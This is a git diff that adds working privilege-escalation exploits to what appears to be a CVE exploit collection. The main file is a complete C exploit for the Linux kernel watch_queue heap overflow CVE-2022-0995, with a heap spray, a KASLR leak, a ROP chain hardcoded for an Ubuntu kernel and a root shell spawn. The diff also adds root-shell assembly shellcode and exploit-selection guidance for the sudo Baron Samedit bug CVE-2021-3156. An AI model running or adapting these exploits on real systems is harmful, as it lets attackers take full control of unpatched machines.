diff --git a/cve/linux-kernel/2022/CVE-2022-0995/Makefile b/cve/linux-kernel/2022/CVE-2022-0995/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..8ea8c7b377aabdb6fc4330c958964fcd3c8f0e02
--- /dev/null
+++ b/cve/linux-kernel/2022/CVE-2022-0995/Makefile
@@ -0,0 +1,10 @@
+CC = gcc
+
+all: clean exploit
+
+.PHONY: exploit
+exploit:
+ $(CC) exploit.c util.c -o exploit -no-pie -static
+
+clean:
+ rm -f exploit
diff --git a/cve/linux-kernel/2022/CVE-2022-0995/README.md b/cve/linux-kernel/2022/CVE-2022-0995/README.md
new file mode 100644
index 0000000000000000000000000000000000000000..b2e5f7812e704b5997ed55faccd6d9cb67aa18f2
--- /dev/null
+++ b/cve/linux-kernel/2022/CVE-2022-0995/README.md
@@ -0,0 +1,12 @@
+# CVE-2022-0995
+This is my exploit for `CVE-2022-0995`, an heap out-of-bounds write in the watch_queue Linux kernel component.
+It uses the same technique described in https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html.
+
+The exploit targets Ubuntu 21.10 with kernel `5.13.0-37`.
+The exploit is not `100%` reliable, you may need to run it a couple of times. It may panic the kernel, but during my tests it happened rarely.
+```sh
+make
+./exploit
+```
+
+
\ No newline at end of file
diff --git a/cve/linux-kernel/2022/CVE-2022-0995/exploit.c b/cve/linux-kernel/2022/CVE-2022-0995/exploit.c
new file mode 100644
index 0000000000000000000000000000000000000000..4639a80367f1e9f1ff29837e7268a06cd9e2e8de
--- /dev/null
+++ b/cve/linux-kernel/2022/CVE-2022-0995/exploit.c
@@ -0,0 +1,405 @@
+#define _GNU_SOURCE
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "util.h"
+
+#define MSGMSG_SPRAY 2000
+#define MSGMSG_FREE_IDX_0 0
+#define MSGMSG_FREE_IDX_1 1950
+#define MTYPE_PRIMARY 0x41
+#define MTYPE_SECONDARY 0x42
+#define MTYPE_FAKE 0x43
+#define PRIMARY_SIZE 96
+#define SECONDARY_SIZE 1024
+#define N_SOCKS 4
+#define N_SKBUFFS 128
+#define NUM_PIPEFDS 256
+#define CORRUPT_MSGMSG_TRIES 50
+
+void shell();
+
+// Ubuntu kernel 5.13.0-37-generic
+// 0xffffffff813c6866 : push rsi ; mov edx, 0x415b00c3 ; pop rsp ; pop rbp ; ret
+uint64_t PUSH_RSI_POP_RSP_RBP_RET = 0xffffffff813c6866 - 0xffffffff81000000;
+// 0xffffffff8109507d: pop r12; pop r15; ret;
+uint64_t POP_POP_RET = 0xffffffff8109507d - 0xffffffff81000000;
+// 0xffffffff81095080: pop rdi; ret;
+uint64_t POP_RDI_RET = 0xffffffff81095080 - 0xffffffff81000000;
+// 0xffffffff81509a39: xor dh, dh; ret;
+uint64_t XOR_DH_DH_RET = 0xffffffff81509a39 - 0xffffffff81000000;
+// 0xffffffff815c0d54: mov rdi, rax; jne 0x7c0d41; xor eax, eax; ret;
+uint64_t MOV_RDI_RAX_JNE_RET = 0xffffffff815c0d54 - 0xffffffff81000000;
+uint64_t KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ = 0xffffffff81e0100b - 0xffffffff81000000;
+uint64_t PREPARE_KERNEL_CRED = 0xffffffff810d45d0 - 0xffffffff81000000;
+uint64_t COMMIT_CREDS = 0xffffffff810d4370 - 0xffffffff81000000;
+uint64_t ANON_PIPE_BUF_OPS = 0xffffffff8223ffc0 - 0xffffffff81000000;
+
+uint64_t user_cs, user_ss, user_sp, user_rflags, user_rip = (uint64_t)shell;
+uint64_t kaslr_base = -1;
+
+typedef struct watch_notification_type_filter wntf_t;
+typedef struct watch_notification_filter wnf_t;
+
+int spray_qids[MSGMSG_SPRAY];
+int ss[N_SOCKS][2];
+int pipe_fds[NUM_PIPEFDS][2];
+
+unsigned int real_idx = -1, corrupted_idx = -1;
+
+/*
+ spray using msg_msg
+*/
+void spray_msgmsg() {
+ char buffer[0x2000] = {0};
+ msg *message = (msg *)buffer;
+
+ for (int i = 0; i < MSGMSG_SPRAY; i++) {
+ int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
+ spray_qids[i] = spray;
+ memset(buffer, 0x42, sizeof(buffer));
+
+ ((unsigned long*)message->mtext)[0] = i;
+ ((unsigned long*)message->mtext)[5] = 0x0; // later this will probably be a msg_msgseg.next, we want it 0x0
+
+ message->mtype = MTYPE_PRIMARY;
+ send_msg(spray, message, PRIMARY_SIZE - 0x30, 0); // Each queue has 1 96 and 1 1024 msg_msg
+
+ if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1)
+ continue;
+
+ message->mtype = MTYPE_SECONDARY;
+ send_msg(spray, message, SECONDARY_SIZE - 0x30, 0); // queue --next-> 96 --next-> 1024 <-queue--
+ }
+}
+
+void delete_msgmsg(int i, int sz, long mtype) {
+ char buf[0x2000] = {0};
+ get_msg(spray_qids[i], buf, sz - 0x30, mtype, IPC_NOWAIT);
+}
+
+void check_corruption() {
+ char buf[0x2000] = {0};
+ msg *message = (msg *)buf;
+
+ for (int i = 0; i < MSGMSG_SPRAY; i++) {
+ if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1)
+ continue;
+
+ get_msg(spray_qids[i], buf, SECONDARY_SIZE - 0x30, 1, MSG_COPY|IPC_NOWAIT);
+
+ if (((uint64_t*)message->mtext)[0] != i) {
+ real_idx = i;
+ corrupted_idx = ((uint64_t*)message->mtext)[0];
+ break;
+ }
+ }
+}
+
+void cleanup_msgmsg() {
+ for (int i = 0; i < MSGMSG_SPRAY; i++) {
+ if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1 || i == real_idx || i == corrupted_idx)
+ continue;
+
+ msgctl(spray_qids[i], IPC_RMID, NULL);
+ }
+}
+/* */
+
+/*
+ kmalloc-1024 spray using skbuff
+*/
+int spray_skbuff(int ss[N_SOCKS][2], const void *buf, size_t size) {
+ for (int i = 0; i < N_SOCKS; i++) {
+ for (int j = 0; j < N_SKBUFFS; j++) {
+ if (write(ss[i][0], buf, size) < 0) {
+ perror("[-] write");
+ return -1;
+ }
+ }
+ }
+ return 0;
+}
+
+int free_skbuff(int ss[N_SOCKS][2], void *buf, size_t size) {
+ for (int i = 0; i < N_SOCKS; i++) {
+ for (int j = 0; j < N_SKBUFFS; j++) {
+ if (read(ss[i][1], buf, size) < 0) {
+ perror("[-] read");
+ return -1;
+ }
+ }
+ }
+ return 0;
+}
+/* */
+
+void build_msgmsg(void* msg, uint64_t list_next, uint64_t list_prev, uint64_t next, uint64_t m_ts, uint64_t security, uint64_t mtype) {
+ ((msg_msg*)msg)->m_list_next = list_next;
+ ((msg_msg*)msg)->m_list_prev = list_prev;
+ ((msg_msg*)msg)->next = next;
+ ((msg_msg*)msg)->m_ts = m_ts;
+ ((msg_msg*)msg)->security = security;
+ ((msg_msg*)msg)->m_type = mtype;
+}
+
+void build_rop(uint64_t* rop) {
+ int k = 0;
+ rop[k++] = 0x0; // dummy rbp
+ rop[k++] = POP_POP_RET + kaslr_base; // skip pipe_buf->ops
+ rop[k++] = 0x0; // pipe_buf->ops
+ rop[k++] = 0x0; // dummy
+ rop[k++] = POP_RDI_RET + kaslr_base;
+ rop[k++] = 0x0; // rdi
+ rop[k++] = PREPARE_KERNEL_CRED + kaslr_base;
+ rop[k++] = XOR_DH_DH_RET + kaslr_base;
+ rop[k++] = MOV_RDI_RAX_JNE_RET + kaslr_base;
+ rop[k++] = COMMIT_CREDS + kaslr_base;
+ rop[k++] = KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ + kaslr_base;
+ rop[k++] = 0x0; // rax
+ rop[k++] = 0x0; // rdi
+ rop[k++] = user_rip; // user_rip
+ rop[k++] = user_cs; // user_cs
+ rop[k++] = user_rflags; // user_rflags
+ rop[k++] = user_sp; // user_sp
+ rop[k++] = user_ss; // user_ss
+}
+
+void shell() {
+ syscall(SYS_execve, "/bin/sh", 0, 0);
+}
+
+void save_state() {
+ __asm__(
+ ".intel_syntax noprefix;"
+ "mov user_cs, cs;"
+ "mov user_ss, ss;"
+ "mov user_sp, rsp;"
+ "pushf;"
+ "pop user_rflags;"
+ ".att_syntax;"
+ );
+}
+
+int main() {
+ // Assign to cpu 0
+ cpu_set_t my_set;
+ CPU_ZERO(&my_set);
+ CPU_SET(0, &my_set);
+ if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set) == -1) {
+ perror("sched_setaffinity()");
+ exit(1);
+ }
+
+ save_state();
+
+ int fds[2];
+ int nfilters = 4;
+ char buf[0x2000];
+ char secondary_buf[SECONDARY_SIZE - 0x140];
+
+ // Filter setup
+ wnf_t *filter = (wnf_t*)calloc(1, sizeof(wnf_t) + nfilters * sizeof(wntf_t));
+ if (!filter) {
+ perror("calloc()");
+ exit(1);
+ }
+
+ /*
+ STEP 1
+ Spray msg_msg: for each queue one msg in kmalloc-96 and one in kmalloc-1024
+ Corrupt a msg_msg.mlist.next in kmalloc-96, so that two msg_msg points to the same msg_msg in kmalloc-1024
+ */
+ puts("[+] STEP 1: msg_msg corruption");
+
+ int ntries = 0;
+
+ do {
+ ntries++;
+
+ filter->nr_filters = nfilters;
+ for (int i = 0; i < (nfilters - 1); i++) { // choose kmalloc-96
+ filter->filters[i].type = 1;
+ }
+
+ // Set 1 bit oob to 1, hopefully we overwrite a msg_msg.mlist.next which is not 2k aligned
+ filter->filters[nfilters - 1].type = 0x30a; // 0x300 -> 96 bytes oob, 0xa -> 2**10 == 1024
+
+ if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) {
+ perror("pipe2()");
+ exit(1);
+ }
+
+ // Spray kmalloc-96
+ spray_msgmsg();
+ delete_msgmsg(MSGMSG_FREE_IDX_1, PRIMARY_SIZE, MTYPE_PRIMARY); // kmalloc
+ delete_msgmsg(MSGMSG_FREE_IDX_0, PRIMARY_SIZE, MTYPE_PRIMARY); // memdup
+
+ // Filter go
+ if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) {
+ perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)");
+ goto err;
+ }
+
+ check_corruption();
+
+ if (corrupted_idx != -1)
+ break;
+
+ cleanup_msgmsg();
+ } while (ntries < CORRUPT_MSGMSG_TRIES);
+
+ if (corrupted_idx == -1) {
+ puts("[-] couldn't corrupt msg_msg");
+ exit(1);
+ }
+
+ printf("[*] found corrupted msg_msg after %d tries. real: %d corrupted: %d\n", ntries, real_idx, corrupted_idx);
+ puts("[+] freeing corrupted msg_msg....");
+ delete_msgmsg(corrupted_idx, SECONDARY_SIZE, MTYPE_SECONDARY);
+
+ for (int i = 0; i < N_SOCKS; i++) {
+ if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
+ perror("[-] socketpair");
+ goto err;
+ }
+ }
+
+ memset(secondary_buf, 0x42, sizeof(secondary_buf));
+ build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, 0x0, 8192 - 0x30, 0x0, MTYPE_FAKE);
+
+ puts("[+] reallocating corrupted msg_msg....");
+ spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
+
+ memset(buf, 0x0, sizeof(buf));
+ get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY);
+
+ uint64_t primary_msg = ((uint64_t*)buf)[124];
+ if ((primary_msg & 0xffff000000000000) != 0xffff000000000000) {
+ puts("[-] wrong heap leak");
+ goto err;
+ }
+ printf("[*] primary_msg: 0x%lx\n", primary_msg);
+
+ puts("[+] freeing corrupted msg_msg....");
+ free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
+
+ memset(secondary_buf, 0x42, sizeof(secondary_buf));
+ build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, primary_msg - 8, 8192 - 0x30, 0x0, MTYPE_FAKE);
+
+ puts("[+] reallocating corrupted msg_msg....");
+ spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
+
+ memset(buf, 0x0, sizeof(buf));
+ get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY);
+
+ uint64_t secondary_msg = ((uint64_t*)buf)[507];
+ if ((secondary_msg & 0xffff000000000000) != 0xffff000000000000) {
+ puts("[-] wrong heap leak");
+ goto err;
+ }
+ printf("[*] secondary_msg: 0x%lx\n", secondary_msg);
+
+ uint64_t fake_secondary_msg = secondary_msg - SECONDARY_SIZE;
+ printf("[*] corrupted secondary_msg: 0x%lx\n", fake_secondary_msg);
+ puts("[+] freeing corrupted msg_msg....");
+ free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
+
+ build_msgmsg(secondary_buf, fake_secondary_msg, fake_secondary_msg, 0x0, SECONDARY_SIZE - 0x30, 0x0, MTYPE_FAKE);
+
+ puts("[+] reallocating corrupted msg_msg....");
+ spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
+
+ puts("[+] freeing sk_buff....");
+ delete_msgmsg(real_idx, SECONDARY_SIZE, MTYPE_FAKE);
+
+ /*
+ STEP 2
+ Spray struct pipe_buffer, leak KASLR while reading and freeing sk_buffs
+ */
+ puts("[+] STEP 2: KASLR leak");
+ puts("[+] Spraying pipe_buffer objs...");
+
+ for (int i = 0; i < NUM_PIPEFDS; i++) {
+ if (pipe(pipe_fds[i]) < 0) {
+ perror("[-] pipe");
+ goto err;
+ }
+
+ if (write(pipe_fds[i][1], "A", 1) < 0) {
+ perror("[-] write");
+ goto err;
+ }
+ }
+
+ puts("[+] Leak+free pipe_buffer objs...");
+ memset(secondary_buf, 0x0, sizeof(secondary_buf));
+
+ for (int i = 0; i < N_SOCKS; i++) {
+ for (int j = 0; j < N_SKBUFFS; j++) {
+ if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
+ perror("[-] read");
+ goto err;
+ }
+
+ if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
+ kaslr_base = ((uint64_t*)secondary_buf)[2];
+ }
+ }
+
+ if (kaslr_base == -1 || ((kaslr_base & 0xffffffff00000000) != 0xffffffff00000000)) {
+ puts("[-] couldn't leak kaslr");
+ goto err;
+ }
+
+ printf("[*] kaslr leak: 0x%lx\n", kaslr_base);
+ kaslr_base -= ANON_PIPE_BUF_OPS;
+ printf("[*] kaslr base: 0x%lx\n", kaslr_base);
+
+ /*
+ STEP 3
+ Reallocate struct pipe_buffer overwrite _ops pointer and do stack pivoting
+ */
+ puts("[+] STEP 3: Stack pivot");
+ puts("[+] Reallocating pipe_buffer object....");
+
+ struct pipe_buf_operations *ops;
+ struct pipe_buffer *pipe_buf;
+
+ memset(secondary_buf, 0x0, sizeof(secondary_buf));
+
+ pipe_buf = (struct pipe_buffer*)secondary_buf;
+ ops = (struct pipe_buf_operations *)&secondary_buf[0x290];
+ ops->release = PUSH_RSI_POP_RSP_RBP_RET + kaslr_base;
+
+ build_rop((uint64_t*)secondary_buf);
+
+ pipe_buf->ops = fake_secondary_msg + 0x290;
+
+ spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
+
+ puts("[+] Cleaning up msg_msgs");
+ cleanup_msgmsg();
+
+ puts("[+] Releasing pipe_buffer objs");
+ for (int i = 0; i < NUM_PIPEFDS; i++) {
+ if (close(pipe_fds[i][0]) < 0) {
+ perror("[-] close");
+ goto err;
+ }
+ if (close(pipe_fds[i][1]) < 0) {
+ perror("[-] close");
+ goto err;
+ }
+ }
+
+ return 0;
+
+err:
+ cleanup_msgmsg();
+ return 1;
+}
\ No newline at end of file
diff --git a/cve/linux-kernel/2022/CVE-2022-0995/poc.png b/cve/linux-kernel/2022/CVE-2022-0995/poc.png
new file mode 100644
index 0000000000000000000000000000000000000000..4c18666c61e94241b2fa2101f833abcba272b2a7
Binary files /dev/null and b/cve/linux-kernel/2022/CVE-2022-0995/poc.png differ
diff --git a/cve/linux-kernel/2022/CVE-2022-0995/util.c b/cve/linux-kernel/2022/CVE-2022-0995/util.c
new file mode 100644
index 0000000000000000000000000000000000000000..051d36a5e9087c6a8f5fbafacbe91e1add8f95cf
--- /dev/null
+++ b/cve/linux-kernel/2022/CVE-2022-0995/util.c
@@ -0,0 +1,32 @@
+#include "util.h"
+
+int32_t make_queue(key_t key, int msgflg) {
+ int32_t result;
+ if ((result = msgget(key, msgflg)) == -1) {
+ perror("msgget failure");
+ exit(-1);
+ }
+ return result;
+}
+
+ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) {
+ ssize_t ret;
+ ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
+ if (ret < 0) {
+ perror("msgrcv");
+ exit(-1);
+ }
+ return ret;
+}
+
+ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) {
+ return msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
+}
+
+void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg) {
+ if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) {
+ perror("msgsend failure");
+ exit(-1);
+ }
+ return;
+}
diff --git a/cve/linux-kernel/2022/CVE-2022-0995/util.h b/cve/linux-kernel/2022/CVE-2022-0995/util.h
new file mode 100644
index 0000000000000000000000000000000000000000..b8abd9f9c33960a25ecf6d4446db29e38d3255b2
--- /dev/null
+++ b/cve/linux-kernel/2022/CVE-2022-0995/util.h
@@ -0,0 +1,52 @@
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+typedef struct {
+ long mtype;
+ char mtext[1];
+} msg;
+
+typedef struct {
+ uint64_t m_list_next;
+ uint64_t m_list_prev;
+ uint64_t m_type;
+ uint64_t m_ts;
+ uint64_t next;
+ uint64_t security;
+} msg_msg;
+
+struct pipe_buffer {
+ uint64_t page;
+ uint32_t offset, len;
+ uint64_t ops;
+ uint32_t flags;
+ uint64_t prv;
+};
+
+struct pipe_buf_operations {
+ uint64_t confirm;
+ uint64_t release;
+ uint64_t try_steal;
+ uint64_t get;
+};
+
+int32_t make_queue(key_t key, int msgflg);
+ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg);
+ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg);
+void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg);
\ No newline at end of file
diff --git a/cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml b/cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml
new file mode 100644
index 0000000000000000000000000000000000000000..6cbe896836e21237d35ac9e0cb1ab2809da6bf8c
--- /dev/null
+++ b/cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml
@@ -0,0 +1,20 @@
+id: CVE-2022-0995
+source: https://github.com/Bonfee/CVE-2022-0995
+info:
+ name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。
+ severity: high
+ description: |
+ pipe的ioctl功能IOC_WATCH_QUEUE_SET_FILTER中存在堆溢出,可造成本地提权。
+ scope-of-influence:
+ Linux kernel <5.17-rc7
+ reference:
+ - https://ubuntu.com/security/CVE-2022-0995
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-0995
+ classification:
+ cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 7.8
+ cve-id: CVE-2022-0995
+ cwe-id: CWE-787
+ cnvd-id:
+ kve-id:
+ tags: 内核越界,权限提升,cve2022
\ No newline at end of file
diff --git a/cve/sudo/2021/CVE-2021-3156/LICENSE b/cve/sudo/2021/CVE-2021-3156/LICENSE
new file mode 100644
index 0000000000000000000000000000000000000000..382d7c95213d48aace7a92184906e0a3e35ee39b
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/LICENSE
@@ -0,0 +1,28 @@
+Copyright (c) 2021, Worawit Wangwarunyoo
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+ * Redistributions of source code must retain the above copyright
+ notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above
+ copyright notice, this list of conditions and the following disclaimer
+ in the documentation and/or other materials provided with the
+ distribution.
+ * Neither the name of the project nor the names of its
+ contributors may be used to endorse or promote products derived from
+ this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/cve/sudo/2021/CVE-2021-3156/Makefile b/cve/sudo/2021/CVE-2021-3156/Makefile
deleted file mode 100644
index c1b1fa05272e10b939fe1eefb86f0682328bd7b0..0000000000000000000000000000000000000000
--- a/cve/sudo/2021/CVE-2021-3156/Makefile
+++ /dev/null
@@ -1,11 +0,0 @@
-all: shellcode exploit
-
-shellcode: shellcode.c
- mkdir libnss_x
- $(CC) -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c
-
-exploit: exploit.c
- $(CC) -O3 -w -o exploit exploit.c
-
-clean:
- rm -rf libnss_x exploit
diff --git a/cve/sudo/2021/CVE-2021-3156/README.md b/cve/sudo/2021/CVE-2021-3156/README.md
index fcd7ce961a8e89e2ba0636ae08648c9ce8f15d8d..17e5f4bd7e0b9dc9952d3f1d6f102bcb40a0014d 100644
--- a/cve/sudo/2021/CVE-2021-3156/README.md
+++ b/cve/sudo/2021/CVE-2021-3156/README.md
@@ -1,30 +1,39 @@
-# CVE-2021-3156
+# CVE-2021-3156 (Sudo Baron Samedit)
-
+This repository is CVE-2021-3156 exploit targeting Linux x64. For writeup, please visit https://datafarm-cybersecurity.medium.com/exploit-writeup-for-cve-2021-3156-sudo-baron-samedit-7a9a4282cb31
+Credit to [Braon Samedit of Qualys for the original advisory](https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt).
-> This is a warehouse modification based on [@CptGibbon](https://github.com/CptGibbon/CVE-2021-3156 ) and supports arbitrary command execution.
+---
-相关阅读:[CVE-2021-3156 - Exploit修改](https://payloads.online/archivers/2021-02-09/1)
+### Files
-#### Root shell PoC for CVE-2021-3156 (no bruteforce)
+##### Exploit on glibc with tcache
+ * **exploit_nss.py** auto detect all requirements and number of entries in /etc/nsswitch.conf
+ * **exploit_nss_manual.py** simplified version of exploit_nss.py for better exploit understanding
+ * **exploit_timestamp_race.c** overwrite def_timestamp and race condition to modify /etc/passwd
-For educational purposes etc.
+##### Exploit on glibc without tcache
+ * **exploit_defaults_mailer.py** the exploit overwrite struct defaults to modify mailer binary path. It requires sudo compiled without disable-root-mailer such as CentOS 6 and 7.
+ * **exploit_userspec.py** the exploit overwrite struct userspec to bypass authentication and add a new user in /etc/passwd. Support only sudo version 1.8.9-1.8.23.
+ * **exploit_cent7_userspec.py** simplified version of exploit_userspec.py for understanding but target only CentOS 7 with default configuration
+ * **exploit_nss_d9.py** overwrite struct service_user on Debian 9 but support only default /etc/nsswith.conf
+ * **exploit_nss_u16.py** overwrite struct service_user on Ubuntu 16.04 but support only default /etc/nsswith.conf
+ * **exploit_nss_u14.py** overwrite struct service_user on Ubuntu 14.04 but support only default /etc/nsswith.conf
-Tested on :
+##### Others
+ * **asm/** tinyelf library and executable for embedded in python exploit
+ * **gdb/** scripts that used for debugging sudo heap
-- @CptGibbon Ubuntu 20.04 against sudo 1.8.31
-- @Rvn0xsy Ubuntu 17.10
+---
-All research credit: **Qualys Research Team**
-Check out the details on their [blog](https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit).
+### Choosing exploit
+*For Linux distributions that glibc has tcache support and enabled (CentOS 8, Ubuntu >= 17.10, Debian 10):*
+ * try **exploit_nss.py** first
+ * If an error is not glibc tcache related, you can try **exploit_timestamp_race.c** next
-You can check your version of sudo is vulnerable with: `$ sudoedit -s Y`.
-If it asks for your password it's most likely vulnerable, if it prints usage information it isn't.
-You can downgrade to the vulnerable version on Ubuntu 20.04 for testing purposes with `$ sudo apt install sudo=1.8.31-1ubuntu1`
-
-#### Usage
-
-`$ make`
-
-`$ ./exploit "Command"`
+*For Linux distribution that glibc has no tcache support:*
+ * if a target is Debian 9, Ubuntu 16.04, or Ubuntu 14.04, try **exploit_nss_xxx.py** for specific version first
+ * next, try **exploit_defaults_mailer.py**. If you know a target sudo is compiled with *--disable-root-mailer*, you can skip this exploit. The exploit attempt to check root mailer flag from sudo binary. But sudo permission on some Linux distribution is 4711 (-rws--x--x) which is impossible to check on target system. (Known work OS is CentOS 6 and 7)
+ * last, try **exploit_userspec.py**
+
\ No newline at end of file
diff --git a/cve/sudo/2021/CVE-2021-3156/asm/tinylib.asm b/cve/sudo/2021/CVE-2021-3156/asm/tinylib.asm
new file mode 100644
index 0000000000000000000000000000000000000000..ad2771808b1818d2aa2e26847b875b382475fe30
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/asm/tinylib.asm
@@ -0,0 +1,89 @@
+; nasm -f bin -o tinylib tinylib.asm
+BITS 64
+ org 0
+
+ehdr: ; Elf64_Ehdr
+ db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident
+ times 8 db 0
+ dw 3 ; e_type
+ dw 0x3e ; e_machine
+ dd 1 ; e_version
+ dq _start ; e_entry
+ dq phdr - $$ ; e_phoff
+ dq 0 ; e_shoff
+ dd 0 ; e_flags
+ dw ehdrsize ; e_ehsize
+ dw 0x38 ; e_phentsize
+ dw 2 ; e_phnum
+ dw 0 ; e_shentsize
+ dw 0 ; e_shnum
+ dw 0 ; e_shstrndx
+ ehdrsize equ $ - ehdr
+
+phdr: ; Elf64_Phdr
+ ; LOAD
+ dd 1 ; p_type
+ dd 7 ; p_flags RWE
+ dq 0 ; p_offset
+ dq 0 ; p_vaddr
+ dq 0 ; p_paddr
+ dq filesize ; p_filesz
+ dq filesize ; p_memsz
+ dq 0x1000 ; p_align
+ ; DYNAMIC
+ dd 2
+ dd 7 ; RWE
+ dq dynamic
+ dq dynamic
+ dq dynamic
+ dq dynsize
+ dq dynsize
+ dq 0x8
+
+dynamic:
+ ; DT_INIT
+ dq 12
+ dq _start
+ ; DT_STRTAB
+ dq 5
+ dq 0
+ ; DT_SYMTAB
+ dq 6
+ dq 0
+ ; DT_STRSZ
+ dq 0xa
+ dq 0
+ ; DT_SYMENT
+ dq 0xb
+ dq 0
+ ; DT_NULL (ending)
+ dq 0
+ dq 0
+dynsize equ $ - dynamic
+
+
+_start:
+ ; setuid(0)
+ push 105
+ pop rax
+ xor edi, edi
+ syscall
+
+ ; setgid(0)
+ push 106
+ pop rax
+ ;xor edi, edi ; edi is still 0
+ syscall
+
+ ; ececve("/bin/sh", 0, 0)
+ xor esi, esi
+ mov rax, 0x0068732f6e69622f ; '/bin/sh\0'
+ push rax
+ push rsp
+ pop rdi
+ push 59
+ pop rax
+ cdq
+ syscall
+
+filesize equ $ - $$
diff --git a/cve/sudo/2021/CVE-2021-3156/asm/tinysh.asm b/cve/sudo/2021/CVE-2021-3156/asm/tinysh.asm
new file mode 100644
index 0000000000000000000000000000000000000000..e84e5fa7c3ac5bfe61e420d5a0d758c620029516
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/asm/tinysh.asm
@@ -0,0 +1,58 @@
+; nasm -f bin -o tinysh tinysh.asm
+BITS 64
+ org 0x400000
+
+ehdr: ; Elf64_Ehdr
+ db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident
+ times 8 db 0
+ dw 2 ; e_type
+ dw 0x3e ; e_machine
+ dd 1 ; e_version
+ dq _start ; e_entry
+ dq phdr - $$ ; e_phoff
+ dq 0 ; e_shoff
+ dd 0 ; e_flags
+ dw ehdrsize ; e_ehsize
+ dw 0x38 ; e_phentsize
+ dw 1 ; e_phnum
+ dw 0 ; e_shentsize
+ dw 0 ; e_shnum
+ dw 0 ; e_shstrndx
+ ehdrsize equ $ - ehdr
+
+phdr: ; Elf64_Phdr
+ dd 1 ; p_type
+ dd 5 ; p_flags
+ dq 0 ; p_offset
+ dq $$ ; p_vaddr
+ dq $$ ; p_paddr
+ dq filesize ; p_filesz
+ dq filesize ; p_memsz
+ dq 0x1000 ; p_align
+
+
+_start:
+ ; setuid(0)
+ push 105
+ pop rax
+ ;xor edi, edi
+ syscall
+
+ ; setgid(0)
+ push 106
+ pop rax
+ ;xor edi, edi ; edi is still 0
+ syscall
+
+ ; ececve("/bin/sh", 0, 0)
+ ;xor esi, esi
+ mov rax, 0x0068732f6e69622f ; '/bin/sh\0'
+ push rax
+ push rsp
+ pop rdi
+ push 59
+ pop rax
+ cdq
+ syscall
+
+filesize equ $ - $$
diff --git a/cve/sudo/2021/CVE-2021-3156/exp.png b/cve/sudo/2021/CVE-2021-3156/exp.png
new file mode 100644
